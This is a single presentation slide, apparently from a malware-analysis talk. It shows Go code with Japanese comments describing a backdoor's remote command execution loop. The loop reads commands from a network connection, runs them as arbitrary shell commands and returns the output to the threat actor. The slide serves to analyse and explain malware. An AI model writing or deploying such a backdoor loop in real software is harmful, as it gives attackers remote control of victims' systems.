Slide 15
Slide 15 text
// リモートコマンド実行ループ
// 受信コマンドを読み取り、実行
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
args, err := shellwords.Parse(strings.TrimSuffix(message, "\n"))
if err != nil {
fmt.Fprintf(conn, "Parse err: %s\n", err)
continue
}
// 任意のシェルコマンドの実行
var out []byte
if len(args) == 1 {
out, err = exec.Command(args[0]).Output()
} else {
out, err = exec.Command(args[0], args[1:]...).Output()
}
// コマンド出力またはエラーを脅威アクターに送り返す
if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n", out)
}
}
} 15